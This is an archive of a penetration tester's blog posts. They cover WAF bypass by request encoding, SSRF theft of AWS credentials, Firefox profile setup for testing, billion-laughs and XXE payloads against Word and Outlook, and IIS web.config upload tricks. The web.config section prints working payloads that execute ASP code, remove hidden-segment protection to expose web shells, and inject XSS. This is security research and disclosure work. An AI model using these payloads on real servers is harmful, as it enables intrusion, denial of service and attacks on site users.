Category Archives: Security Posts

My Security Posts

Request encoding to bypass web application firewalls

I “think” I have discovered a “new” technique in bypassing external web application firewalls using request encoding. The idea is very simple but I had not seen this before to be used to bypass any protection mechanisms. Details of this technique has been published via NCC Group’s blog:

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/

This technique was presented as one the methods to mutate the HTTP requests in:

There are loads of other anomalies that can be used to bypass WAFs using webservers behaviour in accepting HTTP requests; my plan is to complete this research and put all the results via the https://http.ninja/ website. Please feel free to contact me via my Twitter (@irsdl) if you have some ideas regarding this.

The unofficial PDF version of this blog post can be downloaded from here:
https://soroush.secproject.com/downloadable/request-encoding-to-bypass-web-application-firewalls.pdf

Almost all the cloud-based WAFs that I had tested could be bypassed using this technique at the time of discovery.

When a web application SSRF causes the cloud to rain credentials & more

The following blog post was written by me and Daniele Costa:

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/when-a-web-application-ssrf-causes-the-cloud-to-rain-credentials-and-more/

In this blog post we have demonstrated an SSRF exploitation to steal AWS credentials to access Amazon S3. What made this attack special was the fact that http://169.254.169.254/latest/meta-data/iam/ was not accessible to our users during the exploitation. Therefore, we had to use the ‘userData’ attribute in EC2 describe-instance-attribute operation to extract the sensitive data.

The unofficial PDF version of this blog post can be downloaded from here:

https://soroush.secproject.com/downloadable/when-a-web-application-ssrf-causes-the-cloud-to-rain-credentials-and-more.pdf

Using Firefox Profiles in Security Testing

I have started using browser profiles for normal web application assessment since working at NCC Group due to the number of projects I had since the 1st week! I thought it is a good idea to share my solution as I have seen other people facing the same issue when dealing with multiple web application testing projects.

Why should we use a new browser profile for testing?

There are a number of reasons to use separate browser profiles per web application assessments. I have listed some of these reasons from my point of view:

A clean browser environment can be useful to keep the history/data especially when re-testing the same target.

Browser that is used for testing is normally unsafe for day to day browsing. For instance, client-side protections such as XSS auditors or NoScript add-on in Firefox should be disabled while testing in order to detect client-side issues properly. Proxies’ or other self-signed root certificates could be imported in the browser during the test.

It is sometimes necessary to use the private browsing option within the same browser with all the add-ons in order to test session management or broken access control issues (or perhaps to test an issue very quickly using another session but with the same user-agent). It should be noted that private browsing/incognito is not recommended for the actual testing as cache control, sensitive data in URL, or autocomplete issues might be missed and there will be no web history in the browser (especially useful for those times that the proxy is off for some reason).

Why should we automate this?

Having a fresh browser per each test with predefined settings and pre-installed add-ons/extensions can be time consuming if not automated.

I use Mozilla Firefox to make everything easier if the target website is not browser specific or if different user-agents in Firefox do not break the website functionality.

An easy way to do this using Firefox

Step 1: Creating a new empty profile (template)

A Firefox shortcut can be created or edited with the “-p” argument to show the “Choose User Profile” panel. Alternatively, the “-profilemanager” argument can be used to open this panel:

After clicking the “Create Profile” button, choose an appropriate profile name such as “Clean For Security Testing” to create a new profile (you can save it in a preferred location). This profile will be added to the list:

Now click the “Start Firefox” button to customise it.

Step 2: Preparing the template – Firefox settings

As Firefox hides the top menu automatically, we need to use the “Alt” key to access it. It is therefore my preferred choice to make it permanently visible by selecting “Menu Bar” from Views>Toolbars after pressing the “Alt” key. Throughout this post, I have used the top menu to point at items’ locations but the “Open Menu” button in Firefox can be used as well.

In order to reduce the number of requests Firefox sends automatically during testing and to improve the privacy, I normally do this:

– Untick all the boxes in Tools>Options>Advanced>Data Choices

– Untick all the boxes in Tools>Options>Advanced>Update and select “Never check for updates” – It is important to note that check for updates for both Firefox and its add-ons must be performed manually when using profiles.

– From “about:config”, set the value of “browser.newtabpage.enabled” and “network.captive-portal-service.enabled” to “false”.

– From “about:config”, set an empty string for “browser.selfsupport.url”

Other automated requests can be disabled using the Mozilla guideline ifnecessary: https://support.mozilla.org/en-US/kb/how-stop-firefox-making-automatic-connections

Step 3: Preparing the template – Proxy root certificates

Proxies’ root certificates should also be imported into the browser’s root certificate at this point to make it easier every time we use a new profile.

Step 4: Preparing the template – Installing required extensions / plugins / themes

Add-ons that are installed at this stage are not compulsory and it is up to you to install your favourites. However, the “FEBE” add-on should be installed to automate the process of creating new profiles based on the template:

https://addons.mozilla.org/en-GB/firefox/addon/febe/

http://softwarebychuck.com/febe/tutorial/febeRestoreProfile.html

CLEO extension can also be useful to back up all the extensions in a single file when needed!

My favourite generic extensions for testing are as follows:

ColorfulTabs: this helps me to instantly realise when the testing domain changes – so I can detect out-scoped or different domains using the tab colours! I have chosen “Generate Colors By Domain Hostname” in the extension configuration. I have also set the “Tab Border Radius” to 1 to fix the UI issue it may cause.

Firebug: I still like this extension although Firefox has implemented some of it internally now!

Form History Control: useful to create a quick screenshot for the report when reporting autocomplete issues!

FoxyProxy: very useful to manage different proxies. For instance, I have a few ports configured in it for different purposes and different proxies. If you configure it in your template profile, it will be backed up into your testing profiles as well.

HackBar: limited but quite handy extension to send quick GET/POST requests or to decode/encode something. I use its other features too and sometimes even use it like a notepad!!! As I do not like its panel to be always visible on top, I have added its icon (“Toggle HackBar”) to the address bar menu.

ProfileSwitcher: to switch between profiles quickly when needed!

Random Agent Spoofer: to change the user agent when needed very quickly.

Regular Expressions Tester: to test a Regular Expression when I have no better tools.

Web Developer: An old habit just like Firebug. Makes it easier to manipulate items in a HTML page. I used to use it to see the HTML/JS errors (to detect a lame XSS perhaps!) but it seems Firefox is doing a good job on that itself too.

Perhaps an awesome dark Firefox theme for the security template profile also helps. Something that is appropriate for the report screenshots of course! It may also help you to know when a security profile is in use so you will not use it for normal browsing.

The template is now ready. Do not use it for testing before restoring it into a new separate profile though!

Step 5: FEBE Options

Using Tools>FEBE, select “FEBE Options” and ensure that “Full profile” has been chosen. Then on the “Where to backup” menu in “FEBE Options”, select the backup files location and press the Ok button.

Step 6: Updates

You can ignore this step if you have already updated Firefox and its add-ons.

Ensure that Firefox is updated by going to Help>About Firefox from the top menu. Then from the top menu, go to Tools>Add-ons, select “Extensions” from the left menu and click on the settings button and choose “Check for Updates”. Restart the browser if it is required after the update.

Step 7: Clean up

It is time to clean the history before backing up the template to have a fresh start every time! You can ignore this step if there is nothing in the browser history.

From History>Clear Recent History select “Everything” and tick all the boxes and press “Clear Now”. From Tools>Advanced>Network, clear any remaining cached web contents.

Step 8: Backing up the template

Using Tools>FEBE, select the “Perform backup now” option.  Run it again if it was not successful the first time!

Step 9: Creating new profiles based on the template

When you are using the “Clean For Security Testing” profile, using Tools>FEBE, select the “Restore Profile” option:

First click on the “Create new profile” button and enter a name such as “BugBounty_Facebook”. Close any FEBE messages to make the process smoother.

Now, click on the “Select local backup to restore” button and choose the template profile:

After this stage, click on “Start profile restore” (twice if it did not work).

Step 10: Using the new profile

Now close Firefox and all its messages and open it again. The new profile should appear in the list:

Select it and start Firefox.

Creating another profile

Follow steps 6 to 10 whenever you need to create a new profile for testing now.

Quick start sample

I have created a backup file using my Firefox that you can download from here (https://soroush.secproject.com/downloadable/images/firefox_profile/profileFx53.0(FEBE8.9.3.1){Clean For Security Testing}.zip).

You need to have the FEBE extension installed to use this and to restore the “Clean For Security Testing” profile. Follow steps 6 to 10 after restoring this profile.

Interesting XML Processing in Copy/Paste in Word and Outlook

This issue was not considered to be a security issue based on “Definition of a Security Vulnerability” in https://msdn.microsoft.com/en-us/library/cc751383.aspx as I have been told by Microsoft MSRC team. I thought it can be interesting to some people, so I am sharing the details here.
It seems Microsoft Word and Outlook applications (tested on Office 2010) analyse the DTD section of an XML message upon pasting it in a document or a new email.
This can lead to a denial of service attack by creating an XML message with a large number of nested entities.
The victim should paste the crafted XML message into a Word or Outlook document in order for this issue to be exploited. This can potentially be done by using websites that put arbitrary data in the clipboard upon clicking a button or pressing the CTRL+C combination.

As an example, the following XML message (reference: https://msdn.microsoft.com/en-us/magazine/ee335713.aspx) can be copied and pasted into a Word or Outlook document in order to cause denial of service (paste this into a notepad file first to remove the WordPress style, then copy/paste it again into a new Outlook email or a Word document):

<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]><foo>&lol9;</foo>

Files within the PATH environment variable could also be targeted by using the DTD section as it is shown below:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "win.ini">
]><foo>&xxe;</foo>

The following image shows that MS Word has sent some requests to the file-system to find this file.

It was not possible to use this vulnerability to send requests externally or use arbitrary files on the file system which are outside of the PATH (in environment variables). Therefore, I could not exploit it to hijack files as I could not use the “/”, “\”, or “:” characters.

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   <httpErrors existingResponse="Replace" errorMode="Detailed" />
   </system.webServer>
</configuration>

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.